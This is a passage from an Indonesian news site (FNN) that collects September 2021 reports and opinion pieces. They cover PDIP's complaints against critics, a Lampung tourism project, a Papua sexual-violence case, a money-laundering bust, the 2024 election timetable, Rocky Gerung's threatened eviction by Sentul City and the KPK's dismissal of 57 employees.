“Breaking News! Ketum PDIP Megawati Sehal Wal Afiat.” Demikian judul konten yang diluncurkan pada Jumat, 10 September 2021. Pernyataan itu diambil dari ucapan Megawati pada pembukaan TOT Kader PDIP. Konten kedua itu juga merupakan salah satu bentuk chek and rechek yang dilakukan Hersubeno Point FNN. Sebab, banyak cara melakukan chek and rechek. Kembali ke laporan, semua melihat itu terjadi karena arogansi dari sebuah partai pendukung utama pemerintahan Joko Widodo. Sebab, sudah terlalu banyak dan sering kader-kader dan simpatisannya melakukan pengaduan atas ketidaksukaannya terhadap rakyat, terutama oposisi. Padahal, katanya, partai wong cilik. Ada kesan, mereka sedang dalam mabuk di lingkaran kekuasaan. Sehingga, segala macam bisa dilakukan. Di tengah rakyat ada kalimat, “Mana berani polisi menolak laporan mereka.” Bahkan, penangkapan sejumlah aktivis pun disebut sebagai pesanan. Demikian juga penurunan spanduk, baliho dan penghapusan mural. Jadi, jika perlu aktivis, pelukis dan jurnalis yang kritis harus ditangkap dan dipenjara. Mana lagi kehidupan demokrasi jika sudah demikian. Mana lagi kebebasan pers, jika aturan dan hukum tentang Pers saja dilanggar. Mana lagi kebebasan berekspresi, jika hasil karya pelukis berupa mural harus dihapus. Semua mau dibungkam. Sudahlah, sesama anak bangsa jangan saling mengadu-domba. Jangan saling bernafsu memenjarakan. Yang perlu dibangun adalah kesadaran bersama agar semua pihak, baik kubu pendukung pemerintah maupun oposisi supaya sama-sama tidak menyebarkan berita bohong atau hoax, apalagi berita fitnah. Kami di FNN selalu menanamkan wartawan agar tidak menurunkan berita bohong apalagi fitnah. Sebab, hal itu dilarang dalam ajaran agama Islam. **

Erick: Kawasan Wisata Bakauheni Akan Jadi Jantung Baru Pertumbuhan

Jakarta, FNN - Menteri BUMN Erick Thohir mengungkapkan kawasan wisata terpadu "Bakauheni Harbour City" di Lampung akan menjadi jantung baru pertumbuhan ekonomi. "Kita harus ubah pola pikir, kita harus mendukung turis lokal, infrastruktur lokal. Karena itu ketika saya dan Menteri Perhubungan Budi Karya Sumadi berkunjung ke Proyek Bakauheni Harbour City, kita pastikan bahwa ini akan menjadi pembangunan yang masif ke depannya sehingga ada jantung baru pertumbuhan ekonomi," kata Erick Thohir dalam seminar daring di Jakarta, Kamis. Menurut Erick, potensi wisata dan budaya ini menjadi sangat penting karena seperti diketahui 78 persen sebelum pandemi Covid-19 adalah wisata lokal yang perputaran uangnya Rp1.400 triliun di mana selama ini wisata lokal, infrastruktur dan turisnya dinomorduakan. Selain itu terdapat potensi ekonomi dari kehadiran Jalan Tol Trans Sumatera menyebabkan terjadi peningkatan sampai 40 persen pada saat itu sebelum pandemi Covid-19 dari Sumatera ke Jawa. "Karena itu pembangunan Krakatau Park di Lampung sebagai destinasi wisata untuk wilayah Sumatera, kita inisiasikan dan mudah-mudahan satu tahun ke depan bisa terlaksana. Mohon dukungan dan doa," kata Erick Thohir. Menteri BUMN juga menambahkan pengembangan ekonomi kreatif berbasis seni dan budaya Lampung sangat beragam serta UMKM akan berkembang dengan pembangunan Bakauheni Harbour City dan tentunya Krakatau Park. "Terdapat 93 lokasi komplek situs yang bisa terintegrasi dengan pembangunan Bakauheni Harbour City dan Krakatau Park, karena turisnya berkumpul di situ.Dengan demikian bagaimana kita menyambungkan secara transportasi dan digital," kata Erick Thohir. Sebelumnya Wakil Menteri BUMN II Kartika Wirjoatmodjo mengatakan bahwa Kementerian BUMN berencana membangun kawasan wisata terpadu Bakauheni. Nantinya, di kawasan tersebut akan dibangun taman yang akan dinamakan Krakatau Park yaitu semacam kawasan seperti Dunia Fantasi di Jakarta yang akan dikelola oleh Jatim Park. Selain itu, lanjutnya, kawasan pariwisata terpadu itu juga akan dibangun masjid di depan Menara Siger, Bakauheni. Karena itu, ia meminta dukungan dari Gubernur Lampung Arinal Djunaidi beserta seluruh pihak yang terkait agar pembangunan kawasan yang diperkirakan memakan waktu 3 sampai 4 tahun ini dapat berjalan dengan baik dan bermanfaat bagi masyarakat Lampung. Proyek Bakauheni Harbour City (BHC) yang akan digarap oleh Pemerintah Provinsi Lampung bersama dengan PT ASDP Indonesia Ferry (Persero), PT Hutama Karya (Persero) dan PT. ITDC, memasuki babak baru dengan telah dirampungkannya Visioning Masterplan Kawasan dan Feasibility Study (FS). Wakil Menteri II BUMN Kartiko Wirjoatmodjo mengatakan, sesuai dengan komitmen awal yang disampaikan oleh Menteri BUMN Erick Thohir bahwa institusinya siap mendukung pengembangan kawasan pariwisata Lampung. (mth)

Sebanyak 10 UMKM Dapat Fasilitas Promosi Gratis dari Dispar Mataram

Mataram, FNN - Dinas Pariwisata Kota Mataram, Provinsi Nusa Tenggara Barat, telah menerima pengajuan sekitar 10 usaha mikro kecil dan menengah (UMKM) untuk mendapatkan fasilitas promosi gratis melalui aplikasi media sosial. "Sejak kami membuka promosi gratis hasil produksi UMKM pekan lalu, sekarang sudah ada 10 UMKM yang mengajukan dan siap kita proses," kata Kepala Dinas Pariwisata (Dispar) Kota Mataram H Nizar Denny Cahyadi di Mataram, Kamis. Sebanyak 10 UMKM yang sudah mendaftar untuk program promosi gratis tersebut antara lain UMKM yang bergelut di bidang olahan pangan, kerajian dan pakaian. "Prinsipnya, kami siap bantu promosi apapun hasil olahan UMKM. Program ini kita laksanakan semata-mata membantu agar UMKM bisa tetap bertahan dan berkembang di tengah pandemi COVID-19 sehingga kami berharap, semakin banyak lagi UMKM yang mengajukan bantuan promosi," katanya. Selama ini keterbatasan promosi menjadi kendala para pelaku UMKM. Karena itu, Dispar mencoba fasilitasi untuk promosi hasil produk UMKM Kota Mataram secara gratis melalui akun media sosial yang telah disiapkan. "Harapannya, melalui promosi gratis dengan memperkenalkan produk mereka secara efektif bisa meningkatan transaksi para pelaku usaha di Mataram," katanya. Untuk mendapatkan promosi gratis melalui akun media sosial Dispar Kota Mataram, siapapun pelaku UMKM boleh ikut serta dengan menghubungi bagian administrasi. "Tidak ada syarat khusus bagi setiap UMKM yang mau ambil bagian promosi gratis dari kami. Mereka cukup menghubungi admin kami," katanya. Jika pelaku UMKM tidak memiliki sarana dan prasarana untuk promosi melalui media, tim Dispar menfasilitasi pengambilan gambar, serta menyiapkan berbagai informasi terkait hasil produksi UMKM. (mth)

Anggota DPR RI Minta Kasus Kekerasan Seksual di Papua Dituntaskan

Jakarta, FNN - Anggota DPR RI Robert Rouw mendesak aparat kepolisian agar menuntaskan kasus kekerasan seksual terhadap empat siswi SMU di Papua yang diduga dilakukan oleh oknum pejabat daerah dan politisi. "Penegak hukum harus menuntaskan kasus ini. Tidak boleh pandang bulu. Siapa pun yang melakukan pelanggaran hukum harus diusut tuntas termasuk pejabat. Aparat harus memproses sesuai dengan hukum dengan tanpa memandang status sosialnya," kata Robert Rouw dalam keterangan tertulisnya, di Jakarta, Kamis Dia menduga ada upaya untuk menyelesaikan kasus pidana ini dengan cara kekeluargaan atau tidak diproses secara hukum. "Jangan ada upaya untuk jalan perdamaian. Sebab, saya melihat kasus pelecehan atau pemerkosaan ini sepertinya ada satu upaya untuk menutup kasus ini dari pelaku. Ada intimidasi kepada korban maupun keluarga korban," ujarnya. Menurut dia, bila penyelesaian kasus dilakukan dengan "perdamaian", maka akan menjadi preseden buruk bagi penegakan hukum yang ada di Indonesia. Nantinya, lanjut dia, para pejabat dan orang yang mempunyai banyak uang dengan mudahnya lolos dari kasus pidana karena berdamai dengan korban. "Nanti semua begitu. Kalau ada pejabat dan orang mempunyai kedudukan ekonomi yang baik, ada perdamaian, ada upaya untuk menutup tindakan hukum. Apakah perdamaian itu menutup kasus hukumnya? Ini tidak boleh terjadi. Ini kasus pidana. Apalagi korbannya adalah anak sekolah yang masih di bawah umur. Mereka punya masa depan. Akibat kasus ini masa depannya terganggu," papar anggota Komisi V DPR ini. Ia mengingatkan agar aparat hukum melakukan tindakan hukum, bukan melegalkan mediasi atau sebagai penengah dengan menempuh jalur damai. "Ini tidak boleh," ucapnya. Dia menambahkan, semua pihak harus melakukan perhatian khusus agar kasus ini tidak sampai dipetieskan. "NasDem bisa hadir dengan memberikan bantuan hukum, kalau aparat tidak bisa atau tidak mau menyelesaikan kasus ini," tutur Robert. Robert juga meminta kepada lembaga negara seperti Kementerian Pemberdayaan Perempuan dan Perlindungan Anak agar mengawal kasus ini sampai tuntas. Seperti diketahui, kasus ini mencuat ke publik karena pihak keluarga korban melaporkan 5 orang terduga pelaku pemerkosaan dan penculikan ke SPKT Polda Papua di Kota Jayapura, Sabtu (11/9). Kabid Humas Polda Papua Kombes Pol Ahmad Mustofa Kamal, Minggu (12/9) membenarkan laporan tersebut. Saat ini, aparat masih melakukan pendalaman dengan mendengarkan keterangan para saksi. Kamal menambahkan, apabila nantinya penyidik menetapkan adanya tersangka, maka yang bersangkutan bakal dijerat dengan Pasal 81 UU No. 34 Tahun 2014 dengan perubahan UU No. 23 Tahun 2002 tentang Perlindugan Anak. (mth)

Menkopolhukam Apresiasi Kolaborasi Polri-PPATK Ungkap Kejahatan TPPU

Jakarta, FNN - Menteri Koordinator Politik, Hukum dan Keamanan (Mekopolhukam) Mahfud MD mengapresiasi kolaborasi Bareskrim Polri bersama PPATK dalam mengungkap kejahatan tindak pidana pencucian uang (TPPU) tentang peredaran obat ilegal yang merugikan masyarakat dan juga negara. Mahfud, dalam konferensi pers pengungkapan TPPU di Bareskrim Polri, Jakarta Selatan, Kamis, mengatakan keberhasilan pengungkapan kasus TPPU dengan nilai sitaan Rp531 miliar itu menjadi momentum bagi bangsa Indonesia lebih kompak dalam mengungkap perkara TPPU. "Bareskrim Polri membuktikan bahwa itu (TPPU-red) bisa dilakukan dan yang mengagetkan ini memang baru satu orang, tapi nilai uangnya besar," kata Mahfud. Bareskrim Polri bersama PPATK mengungkap kasus TPPU terkait peredaran obat ilegal oleh tersangka DP dengan sitaan uang senilai Rp531 miliar. Terkait TPPU, kata Mahfud, pemerintah menaruh perhatian khusus, bahkan dalam setiap rapat Komite TPPU dibahas banyaknya informasi dan keluhan masyarakat, akan tetapi jumlah pelaku yang ditangkap tidak banyak. Bahkan, Mahfud mensinyalir praktik TPPU seperti yang dilakukan tersangka DP ini banyak yang melakukan di berbagai tempat, baik itu di laut, di hutan, di pertambangan, dan berbagai sektor. "Dengan demikian pengungkapan ini bisa jadi momentum kepada kita semua untuk melangkah lebih lanjut dan lebih kompak seperti yang dilakukan oleh Polri dan PPATK dalam kasus ini," kata Mahfud. Selain itu, kata Mahfud, pengungkapan kasus TPPU ini menambah kredit bagi Indonesia untuk diterima sebagai anggota penuh Financial Action Task Force (FATF) on Money Laundering yang berkedudukan di Paris. Menurut dia, keberhasilan Bareskrim Polri dan PPATK memberikan dampak positif bagi kesiapan Indonesia dalam menghadapi Mutual Evaluation Review (MER) yang diselenggarakan oleh FATF on Money Laundering. "Untuk menjadi anggotanya itu salah satu harus punya banyak prestasi di dalam menangani TPPU, itu bukan syarat satu-satunya, tapi itu memberi "grade" sendiri agar Indonesia bisa menjadi anggota penuh. Sehingga dengan demikian sedang menambah kredit dan akan terus menambah kredit untuk dapat diterima menjadi anggota FTAF tadi," kata Mahfud. Mahfud menambahkan pengungkapan tindak pidana pencucian uang ini merupakan bagian dari komitmen pemerintah dari penegakan hukum dalam upaya pemulihan ekonomi nasional khususnya di masa pandemi saat ini. Pemerintah, lanjutnya, bekerja dengan serius melakukan pemantauan dan pengawasan terhadap kegiatan bisnis ilegal yang dapat merugikan masyarakat dan negara dalam hal ini terkait dengan peredaran obat-obatam ilegal di masyarakat. "Oleh sebab itu saya mengucapkan terima kasih sekaligus mengapresiasi setinggi-tingginya kepada jajaran Kabareskrim Polri dan PPATK yang telah bersinegi dengan baik dan berkolaborasi melakukan "joint investigation" dan mengungkap tindak pidana pencucian uang yang berasal dari peredaran obat ilegal dengan hasil sitaan Rp531 miliar rupiah, orangnya sudah diamankan," kata Mahfud. (mth)

Anggota DPR Minta Penyelenggaraan Pemilu 2024 Dilaksanakan Minimalis

Jakarta, FNN - Wakil Ketua Komisi II DPR RI Junimart Girsang meminta agar penyelenggaraan pemilihan umum (Pemilu) serentak 2024 diselenggarakan secara minimalis, sebagai upaya untuk menghemat anggaran yang harus ditanggung negara. Menurut dia, semakin lama tahapan penyelenggaraan Pemilu 2024 yang terdiri dari Pemilihan Kepala Daerah (Pilkada), Pemilu Legislatif (Pileg) dan Pemilu Presiden (Pilpres) akan semakin besar anggaran negara nantinya yang dihabiskan. "Anggaran penyelenggaraan pemilu ini harus kita perhatikan, karena menyangkut situasi ekonomi sekarang. Sehingga sebaiknya penyelenggaraan tahapan pemilu dibuat minimalis saja. Menyangkut anggaran semakin lama tahapan maka akan semakin tinggi anggaran yang dihabiskan," tutur Junimart di Jakarta, Kamis. Dia mengatakan, dalam tahapan Pemilu 2024 sebaiknya untuk masa kampanye Pilpres dan Pileg penyelenggaraannya dapat dipersingkat menjadi 3 bulan dan untuk masa kampanye Pilkada cukup selama 45 hari saja. Menurut dia, hal itu dengan pertimbangan bentuk dukungan kita terhadap Pemerintah dalam menurunkan penyebaran kasus COVID-19. Selain itu dia juga menyoroti terkait potensi konflik yang terjadi pasca-pemilu yang sebelumnya menjadi alasan bagi KPU, Bawaslu, dan DKPP meminta agar tahapan penyelenggaraan pemilu diselenggarakan dengan durasi panjang seperti Pemilu 2019. Junimart menilai hal tersebut hanya sebatas produk politik yang semestinya dapat dicegah agar tidak terjadi pada Pemilu 2024. "Terkait konflik politik dan irisan-irisan yang terjadi pasca-pemilu, menurut saya ini adalah sesuatu yang sebenarnya kita ciptakan sendiri. Dan irisan-irisan atau konflik ini sebenarnya juga bisa kita antisipasi agar tidak terjadi," ucap dia. Dia juga menilai seharusnya penggunaan anggaran pada Pemilu 2024 lebih dioptimalkan peruntukannya kepada pembayaran honor dari para tenaga Kelompok Penyelenggara Pemungutan Suara (KPPS). Sebelumnya KPU mengusulkan masa kampanye pemilihan umum (Pemilu) 2024 diperpanjang menjadi 7 bulan. Ketua KPU Ilham Saputra beralasan, masa kampanye perlu diperpanjang untuk menyesuaikan dengan waktu persiapan distribusi logistik ke tempat-tempat pemungutan suara (TPS). (mth)

Rumah Asri Filsuf Rocky Gerung Mau Digusur Sentul City

Terkait kasus rumahnya, Roger mengaku siap melawan mereka yang berlaku sewenang-wenang. Sudah terlalu lama persoalan tanah menjadi masalah bangsa ini. Ancaman untuk menggusur dari pihak Sentul City terlihat jelas dengan adanya beberapa eksavator yang sedang membersihkan lahan yang tidak jauh dari kediaman sang pengamat kehidupan itu. Oleh Nina Bahri Bogor FNN - Aktivis yang juga pengamat politik kenamaan, Rocky Gerung dibuat meradang. Betapa tidak, rumahnya di daerah Bojong Koneng Sentul, Kabupatan Bogor yang dibeli dan ditempatinya sejak 2009 silam kini terancam kena gusur. Yang mau menggusur adalah PT Sentul City Tbk. Tak hanya Rocky, sebanyak 60 Kepala Keluarga (KK) di wilayah ini juga sontak kaget karena bakalan menghadapi ancaman yang sama. Kasusnya bermula dari somasi yang dilayangkan PT Sentul City. Jika Rocky dan puluhan KK di wilayah yang diklaim menempati lahan pengembang tersebut. Tak urung, akibat somasi tersebut, kasusnya pun menjadi topik hangat di media nasional menyusul protes yang dilontarkan Rocky bersama warga Bojong Koneng. Rocky sendiri menempati areal tak lebih sekitar 800 meter persegi, yang pada awalnya banyak orang tak berminat menempatinya lokasi itu karena dekat, bahkan sangat jurang dan gersang, karena masih berupa tanah kosong. Tingkat kecuramannya pun mendekati 60 derajat. Namun, dengan penataan yang apik, bak seorang arsitek, Rocky yang dibantu asistennya berhasil menata dan menjadikan tempat tinggalnya terlihat asri, nyaman serta aman. Daerah yang curampun nyaris tak terlihat. Karena kondisi itu pula, bangunan rumahnya dibuat tak terlalu besar, alias sangat minimalis dan bergaya retro. Tak kurang dari lima tahun Rocky dan asistennya itu melakukan penataan sana-sini, hingga benar-benar menjadi asri, indah dan rimbun pohon-pohonnya. Lebih seribu pohon yang telah ditanam sang filsuf. Ada lebih dari 300 jenis bunga pun tumbuh subur di lahan tersebut. Sebut saja bunga aglonema yang lagi trend, aneka krisan, caladium, mawar, suplir terlihat cantik di pinggir undakan jalan menuju rumah dosen Universitas Indonesia itu. Bunga-bunga nan cantik itu dibeli Oyan, sang asisten. Uangnya tentu saja dari sang majikan. Oyan bertugas membeli sejumlah kebutuhan atas selera pilihannya. Dan Rocky yang menatanya. Di sudut lainnya terlihat banyak pohon Cemara yang sudah tumbuh tinggi dan kokoh. Beberapa tanaman buah seperti jeruk, lengkeng pun nampak menghiasi areal sekitar rumahnya. Setelah 10 meter sebelum menuju rumahnya, kita mesti melewati tiga undakan tangga ke bawah terlihat sebuah saung beratap rumbia. Isinya dipenuhi buku dan poster Marthin Luther King, pejuang HAM (Ham Azasi Manusia) dari Amerika Serikat. Bagi Rocky, tokoh-tokoh pejuang HAM adalah idolanya. Ada dua saung dibangun untuk para tamu yang ingin menikmati alam sekitar rumah. Bukan hanya mengoleksi ribuan buku tentang HAM, lingkungan hidup, agama serta koleksi buku tentang perempuan. Tetapi, koleksi tenun dan benda-benda antik dari berbagai daerah juga diatur dengan apik di berbagai sudut dan meja. Membaca suatu kewajiban baginya. Alquran yang berisi 114 surah dan 6.666 ayat pun tidak luput dipelajari sang filsuf. Beberapa surah yang penting di Alquran bersampul kuning itu diberi catatan stabilo. Makanya, jangan heran sang filsuf bisa bicara sambil menyebutkan dalilnya dari hukum, politik, sosial, budaya hingga agama dengan sangat lancar. Sambil memegang tafsir Alquran Rocky berkata, “Saya membaca banyak. Baca Quran, Bible, Weda dan segala macam. Di dalamnya saya temukan ada satu dimensi yang tersembunyi, yaitu kalau kita bisa gali keadilan. Kita paham tentang alam semesta. Kita juga paham ketaklukan manusia kepada yang Maha Kuasa,” ujarnya. Semua segi kehidupan bisa diulas tanpa berpikir lama. Untuk orang seperti itu, disebut kamus berjalan. Lukisan tentang perempuan dengan keindahan nampak memenuhi beberapa sudut sang pengamat politik itu. Buat Rocky wanita adalah makhluk terindah. Indah dan tidak wajib untuk dimiliki. Mungkin ada yang khusus tentang wanita di benak sang dosen, sehingga hingga kini masih betah melajang. Selain lukisan, di teras rumah sang kritikus ini juga dipenuhi aneka belasan koleksi bunga, terutama bunga Angrek. Padahal, bunga anggrek termasuk tanaman yang sulit untuk dipelihara. Tetapi bisa hidup dengan cantik berkat tangan dingin Rocky yang lebih sering dipanggil Roger. Selain bunga, ada yang unik yakni di beberapa sudut rumah Rocky, yaitu digantung pisang setandan. Pisang yang khas, jika ada hajatan di daerah Bogor dan sekitarnya. Pisang itu menurut tuan rumah, untuk makanan monyet yang sekarang kesulitan mencari makan akibat di sekitarnya telah banyak menjadi rumah. "Sebagai pencinta lingkungan, saya memang membuat lahan ini bukan hanya bisa dinikmati saya sendiri. Tetapi juga makhluk Tuhan lainnya" kata dosen terbang di berbagai universitas ini. Monyet yang sering muncul pagi hari itu telah lama menjadi tamu tak diundang. Selain monyet, kelelawar pun banyak berterbangan di kala subuh. Begitu juga lebah yang puas menikmati putik sari di ratusan bunga di sekitar rumahnya. Beberapa pohon yang telah mati pun tetap indah di mata Roger dengan tetap dibiarkan berdiri dan indah oleh tanaman merambat. Sang asisten Oyan mengaku majikannya merupakan pria yang simpel. Hari-harinya kalau di rumah, selain membaca dan mengurus tanamannya kesenangan, Rocky rutin mengurus tanaman jika tidak pergi ke luar untuk mengajar atau memenuhi undangan. Terkait kasus rumahnya, Roger mengaku siap melawan mereka yang berlaku sewenang-wenang. Sudah terlalu lama persoalan tanah menjadi masalah bangsa ini. Ancaman untuk menggusur dari pihak Sentul City terlihat jelas dengan adanya beberapa eksavator yang sedang membersihkan lahan yang tidak jauh dari kediaman sang pengamat kehidupan itu. Ancaman dari pengembang membuat Rocky sekarang banjir dukungan. Bukan hanya dari masyarakat. Tetapi berbagai lembaga baik aktifis Lingkungan hidup, hingga aktifis kemanusian turut menyambangi rumah pria berasal dari Manado, Sulawesi Utara itu. Beberapa tokoh politik dan Hak Asasi Manusia (HAK) datang ke rumah Rocky Gerung, Rabu sore 15 September 2021 kemarin. Di antaranya mantan Ketua Komisi Nasional (Komnas) HAM Prof. Dr. Hafis Abbas, mantan Menteri Sosial Bachtiar Hamzah, Anggota Dewan Pertimbangan Daerah (DPD) Tamsil Linrung, mantan Sekretaris Kementerian Badan Usaha Milik Negara (BUMN), Dr. Muhammad Said Didu yang biasa disapa dengan sebutan “Mosad”, tokoh perburuhan Dr. Syahganda Nainggolan, pengacara dan politisi Dr. Ahmad Yani, Akademisi Universitas Negeri Jakarta (UNJ) Ubedillah Badrun, mantan Juru Bicara Presiden Gus Dur Adhi Massardi. Dari kalangan wartawan, datang Pemimpin Redaksi Forum News Network (FNN) Mangarahon Dongoran, Ketua Sidang Redaksi Majalah FORUM Keadilan Tony Hasyim dan sejumlah wartawan senior, diantaranya Tjahja Gunawan, Edy Mulyadi, Hersubeno Arief, Rahmi Aries Nova, Selamat Ginting, Sri Widodo Soetadjowijono dan Kisman Latumakulita . Hafis Abbas menyatakan saat menjabat Ketua Komnas HAM, dari puluhan ribu aduan yang masuk, sekitar 90 persen pengaduan masyarakat terkait kasus-kasus tanah. Komnas HAM memiliki data jika 50 juta hektar tanah dimiliki hanya segelintir orang. Upaya penggusuran menjadi alternatif walau tidak sesuai hukum. Penggusuran itu yang sangat disesali. Hafis menegaskan, dalam piagam PBB penggusuran termasuk pelanggaran HAM berat. Dan harusnya para pelaku bisa dituntut. Berkaitan dengan itu, pihak Sentul City bisa saja diduga melakukan pelanggaran HAM berat terkait rencana penggusuran terhadap Rocky Gerung dan 60 KK masyarakat Bojong Koneng, Kabupaten Bogor. Mengutip dari laman Detik.com, PT Sentul City Tbk. menuding bahwa Rocky Gerung membeli dari mantan terpidana kasus pemalsuan surat. Pengembang ini menyatakan terbitnya sertifikat Hak Guna Bangunan (HGB) Nomor 2411 dan 2412 oleh BPN Kabupaten Bogor melalui proses yang legal. Selain penyuka seni, sikap tegas menjadi ciri khas dari Rocky Gerung. Sehingga, jika datang tanpa janji lebih dulu, termasuk media asing semisal Al-Jazeera, Rocky tidak segan-segan menolak mereka. Penulis adalah Wartawan Senior FNN. co.id.

KPK Pecat 57 Pegawai, Termasuk Penyidik Senior Novel Baswedan

Jakarta, FNN – Komisi Pemberantasan Korupsi (KPK) mengambil kebijakan mengejutkan dengan melakukan pemecatan pegawai besar-besaran. Sebanyak 57 pegawai, termasuk Novel Baswedan, diberhentikan dengan hormat. Ke-57 pegawai itu dipecat karena mereka tidak lulus tes wawasan kebangsaan Pemutusan hubungan kerja (PHK) ini berlaku pada 30 September 2021. Ketua KPK Firli Bahurli mengklaim kebijakan tersebut sudah sesuai peraturan perundang-undangan. Dia menjelaskan, pemecatan boleh dilakukan sebelum batas maksimal proses alih status rampung berdasarkan Undang-Undang Nomor 19 Tahun 2019 tentang KPK. “Kami tunduk pada undang-undang, jadi tidak ada istilah percepatan atau perlambatan sesuai keputusan saja,” kata Ketua KPK Firli Bahuri di Gedung Merah Putih KPK, Jakarta Selatan, Rabu (15/9/2021). Penjelasan tersebut untuk menepis tudingan bahwa KPK sengaja mempercepat pemecatan pegawai. “(Pemecatan dengan hormat) itu (cuma maju) setengah bulan,” ucap jenderal polisi bintang tiga itu. KPK juga mengapresiasi 57 pegawai yang dipecat sudah bekerja keras memberantas korupsi di Indonesia bertahun-tahun. Semangat pemberantasan korupsi itu diharapkan tidak pernah pudar dalam diri mereka meski sudah tidak lagi berstatus pegawai KPK. “KPK menyampaikan penghargaan yang setinggi-tingginya atas jasa dan dedikasinya kepada segenap pegawai yang diberhentikan. Semoga dedikasi dan amal perbuatannya selama ini di KPK menjadi bagian dari amal soleh dan jasa bagi bangsa dan negara,” ujar Wakil Ketua KPK Alexander Marwata. Alex tetap berharap mereka semua tetap menjadi rekan KPK dalam memberantas rasuah di Indonesia ke depannya. “Kami percaya pegawai KPK yang sudah di berhentikan tidak akan meninggalkan nilai nilai integritas,” tutur Alex. Sementara para pegawai yang menjadi sasaran pemecatan mengungkapkan kekecewaan atas keputusan pimpinan KPK, meski tak bisa berbuat banyak untuk melawan. Salah satu yang tidak bisa menutupi rasa kecewanya ialah Novel Baswedan, penyidik senior yang sudah menangani banyak kasus korupsi besar. “Kami berupaya memberantas korupsi dengan sungguh-sungguh dan menghadapi segala risikonya, tetapi ternyata kami yang diberantas,” kata Novel di depan Gedung Anti-Corruption Learning Center, Jakarta Selatan, Rabu (15/9/2021). Ombudsman RI dan Komisi Nasional Hak Asasi Manusia menemukan terjadi pelanggaran prosedur, penyalahgunaan wewenang dan pelanggaran HAM dalam tes itu. Mahkamah Konstitusi dan Mahkamah Agung menyatakan Tes Wawasan Kebangsaan legal dan konstitusional. Novel seungguhnya ingin melawan pemecatan dirinya dan 46 pegawai lain. Karena putusan MK dan MA tidak membenarkan pelanggaran yang terjadi dalam pelaksanaan TWK. Tetapi, Novel sadar usahanya itu belum tentu berhasil. Dia mengatakan tidak bisa berbuat banyak apabila pemerintah memilih membiarkan penyingkiran pegawai KPK. “Setidaknya sejarah mencatat kami berbuat baik,” tutur mantan anggota Polri ini. (mth)

Ada Pisang, Monyet, dan Eskavator di Sentul

Oleh: Gde Siriana Yusuf *) SETIAP dua hari sekali, Rocky Gerung (RG) menyiapkan dua tandan pisang yang digantung di beranda rumahnya, satu tandan di beranda rumah utama, satunya lagi di beranda gazebo yang letaknya di bawah rumah utama. Sekilas ini bagian dari style penyajian si empu rumah, agar pisang setandan yang digantung di antara ribuan pohon pinus dan anggrek dapat mengundang selera tamu atau kawan-kawan RG untuk mencicipinya. Saya jadi teringat sajian pisang setandan di meja saat kondangan (pernikahan) ala Betawi. Konon, pisang melambangkan pernikahan akan mendatangkan banyak rejeki dan anak, seperti banyaknya pisang setandan. Karena sejak kecil saya hidup di lingkungan Betawi, maka pemandangan ini sering saya saksikan. Memang pemandangan itu terlihat 'kampungan' di kota Jakarta, namun saya selalu senang menyaksikannya. Makan pisang bisa di mana saja dan menjadi hal biasa. Tetapi ketika dimakan bersama kawan-kawan semeja tentu sensasinya berbeda, apalagi ketika terdengar suara seruput kopi hitam panas di bibir piring kecil 'lepek'. Obrolan pun seperti mendapatkan bahan bakar, yang menghidupkan terus budaya kekerabatan yang sudah berusia tua. Pisang setandan di rumah RG punya nilai lebih dari sekadar budaya kekerabatan lokal. Dia bukan saja untuk dimakan orang, tetapi RG sengaja menyiapkannya untuk monyet-monyet hutan yang mampir ke rumahnya. Dalam tiga tahun terakhir monyet liar memang sudah meresahkan warga sekitar Bogor karena kerap kali masuk ke pemukiman penduduk bahkan menyerbu pasar tradisional. Monyet-monyet yang kelaparan akibat habitatnya telah dirusak oleh pembangunan kawasan perumahan. Setiap malam atau pagi monyet-monyet ini mampir ke rumah RG untuk menikmati pisang gratis. Apa yang dilakukan RG sejak tinggal menetap di kawasan Sentul, tepatnya Bojong Koneng, bukanlah seperti layaknya orang Jakarta memiliki vila-vila mewah di kawasan Puncak. Rumahnya lebih tepat disebut gubuk panggung. Ini dikarenakan kemiringan tanahnya yang tidak cocok untuk dijadikan rumah beton. Dengan bentuk rumah panggung, maka air buangan atau air hujan dapat terserap tanah 100 persen karena tidak tertutup beton. Sehingga tidak merusak keseimbangan neraca air yang dapat menyebabkan longsor dan banjir. Selama lebih dari 10 tahun hidup di situ RG menanam ribuan pohon pinus yang kini tingginya sudah menantang langit. Juga tanaman hias seperti Anggrek, Hanjuang, Nona Makan Sirih, pohon buah-buahan dan lain-lain. RG mengkreasikan hutannya sendiri, di mana dia merasa menemukan kehidupan sejatinya. Dia bukan hanya melakukan konservasi alam, melainkan preservasi lingkungan, yaitu upaya untuk mempertahankan kondisi saat ini dari suatu wilayah, unit biologis atau ekosistem agar tidak dirusak oleh aktifitas manusia. Hari ini sulit menemukan orang kota yang masih serius memikirkan kelestarian lingkungan seperti RG. Sama sulitnya menemukan pemandangan pisang setandan dalam kondangan betawi di Jakarta. Kehidupan metropolitan yang materialistik membawa nilai-nilai baru, seperti keindahan dan kemegahan kota, efisiensi, serta mengutamakan profit yang pelan-pelan menggerus nilai-nilai lama. Kehidupan tidak lagi dipandu oleh moral dan kebaikan tapi bagaimana manusia harus selalu tunduk pada aturan kekuasaan yang mengutamakan keuntungan material. Monyet-monyet yang sering mampir di gubuk panggung RG pun harus tunduk pada kekuasaan, manakala eskavator yang hari ini sedang bekerja di depan mata RG mengancam ketersediaan makanannya, pisang setandan. Eskavator, dalam makna positif dan negatif, cara bekerjanya adalah menggaruk bumi. Menggaruk bumi adalah lambang kesombongan modal dan kekuasaan. Seperti halnya senjata mematikan, eskavator yang dikendalikan oleh moral maka dia akan bekerja untuk kebaikan manusia seperti digunakan dalam normalisasi atau regularisasi sungai. Tetapi ketika dikendalikan oleh nafsu keuntungan bisnis semata maka dia akan digunakan untuk merobohkan pohon-pohon hutan, merusak ekosistem dan menyingkirkan kehidupan sebagian manusia lainnya. Seharusnya, apa yang telah dirintis RG dengan melakukan preservasi lingkungan di rumahnya di Sentul dapat menjadi inspirasi bagi Pemerintah Daerah setempat atau para pengembang untuk ikut melestarikan lingkungan. Sudah terlalu lama negeri ini berhadapan dengan pengembang besar yang hanya mengeruk keutungan besar dari perusakan lingkungan dan konflik pertanahan yang seringkali terjadi pada setiap pembangunan kawasan perumahan. Selama ini negeri ini diam, tapi tidak untuk kali ini. *) Pengamat politik.

Keteladanan dari Sang Presiden

